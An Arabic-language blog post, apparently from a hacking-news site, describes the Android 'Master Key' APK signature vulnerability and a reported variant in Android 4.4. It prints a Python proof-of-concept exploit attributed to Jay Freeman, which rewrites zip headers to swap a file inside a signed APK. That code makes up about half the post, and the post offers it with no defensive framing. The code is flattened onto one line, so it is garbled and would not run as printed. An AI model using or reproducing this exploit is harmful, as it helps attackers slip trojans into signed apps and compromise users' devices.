اكتشاف
ثغرة Android 4.4 Master Key Vulnerability
السلام
عليكـــــم و رحمة الله و بركـــــــاته
مع
جديد عالم الهكر و الثغرات , هذه المرة
الثغرة تطال نظام الهواتف المحمولة أندرويد , و للإشارة الثغرة ليست جديدة
ففي شهر يوليو الماضي من سنة 2013 تم
أكتشاف أن أغلب الأجهزة التي تستخدم أندرويد كنظام تشغيل لها مصابة بثغرة يطلق
عليها اسم Master Key Vulnerability ومن ليست له دراية بهذه الثغرة فهي من الثغرات
الخطيرة التي تسمح للهكر بتغيير أي تطبيق أندرويد و جعله تروجان Trojan من أجل سحب كل المعلومات السرية
بالجهاز أو التحكم الكلي به.
و في
الإصدار 4.3 لأندرويد لم يتم إصلاح الثغرة مما دفع ب google play لتغيير اعدادات ادخال
التطبيقات بحيث يتم منع و حذر كل التطبيق التي تم تغييرها باستعمال هذه الثغرة.
و في
الآونة الأخيرة بعد ظهور الإصدار الأخير 4.4 من أندرويد مع باتش لثغرة Master Key للحماية من الثغرة , اكتشف الباحث
في الحماية المعلوماتية Jay Freeman وجود ثغرة اخرى بنفس المميزات
لإصدار الأندرويد 4.4
.
و
أخيرا نأتي لنمودج لاستغلال الثغرة باستخدام لغة Python مبرمج من Jay Freeman أو كما يطلق عليهَ Saurik :
#!/usr/bin/python import zipfile import struct import sys # usage: ./pocB.py new.apk old.apk file data zout = zipfile.ZipFile(sys.argv[1], "w") zin = zipfile.ZipFile(sys.argv[2], "r") replace = sys.argv[3] new = open(sys.argv[4], 'r').read() fp = zout.fp for name in zin.namelist(): old = zin.read(name) if name != replace: zout.writestr(name, old, zipfile.ZIP_DEFLATED) else: assert len(new) <= len(old) # write header, old data, and record offset zout.writestr(name, old, zipfile.ZIP_STORED) offset = fp.tell() # return to name length, set to skip old data fp.seek(-len(old) -len(name) -4, 1) fp.write(struct.pack('<h', len(name) + len(old))) # after old data, write new data \0 padded fp.seek(offset) fp.write(new) fp.write('\0' * (len(old) - len(new))) zout.close() zin.close()
0 comments:
إرسال تعليق
أضف تعليقك